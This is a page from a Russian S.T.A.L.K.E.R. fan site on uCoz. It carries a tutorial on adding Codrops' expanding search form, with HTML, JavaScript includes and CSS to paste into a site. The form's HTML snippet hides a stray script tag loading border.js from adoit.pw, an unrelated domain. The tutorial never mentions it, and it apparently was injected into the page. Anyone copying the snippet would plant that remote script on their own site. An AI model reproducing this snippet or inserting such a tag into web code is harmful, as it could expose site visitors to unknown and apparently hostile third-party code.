Твой PDA
Здоров: Гость

СТАЛКЕР,чтобы тебе выдали личный PDA тебе необходимо озвучить нам свои данные,в общем спроси у Сидоровича,он там в левом углу-вот он точно тебе поможет.Удачи в Зоне!

Наш ассортимент

Что в этом разделе
   Привет СТАЛКЕР!

 смотри,что накопил
 
пока тебя небыло: 

Вопрос на засыпку
Ваш любимый вид оружия
javascript:; javascript:;
Всего ответов: 557


С тобой на сайте
Зарегистрировано на сайте:

Всего: 325
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0


Из них:
Администраторов: 2

Друзей: 0
Проверенных: 1
Обычных юзеров: 321


Сейчас на сайте: 62
Гостей: 62
Те с кем можно общаться в чате: 0

Лучшые СТАЛКЕРЫ
Гордость ЗОНЫ


klaniklani
Репутация: 0
Пол: Мужык!
Новостей:27393



Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
14:24
Создаём раздвижную форму поиска для uCoz
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Просмотров: 86 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0

Добавлять комментарии могут только зарегистрированные СТАЛКЕРЫ
[ Регистрация | Вход ]


Заходи СТАЛКЕР!
Заходи СТАЛКЕР!



Привет я Сидорович,
главный здесь.


Вижу тебе нетерпиться подключить игрушку и рвануть в ЗОНУ,понимаю сам таким был.Ну чтож заполняй анкету и двигай,когда будеш в километре от меня подашь сигнал чтоб я твой PDA подтвердил.Ну вроде все,ах да чуть не забыл если ты уже раньше заполнял анкету то можеш сказать мне свою кличку и пароль и я тебя в момент подключу!

 СТАЛКЕРСКАЯ сеть
   

Найдется все


Будь в курсе
«  Август 2013  »
ПнВтСрЧтПтСбВс
   1234
567891011
12131415161718
19202122232425
262728293031

Блок СТАЛКЕРА
Свинцовый закат

168 руб.

[твердый переплёт]
Воины Зоны

143 руб.


S.T.A.L.K.E.R.

799 руб.

[коллекционное издание]
S.T.A.L.K.E.R.:
Чистое небо

1950 руб.

Коллекционное издание
Охотники на мутантов

143 руб.

[твердый переплёт]
Чистое небо
Спец. коллекционное издание

2175 руб.

Коллекционное издание
Контрольный выброс

168 руб.

[твердый переплёт]

                     З уважением и заботой о вас,ваш tridognajd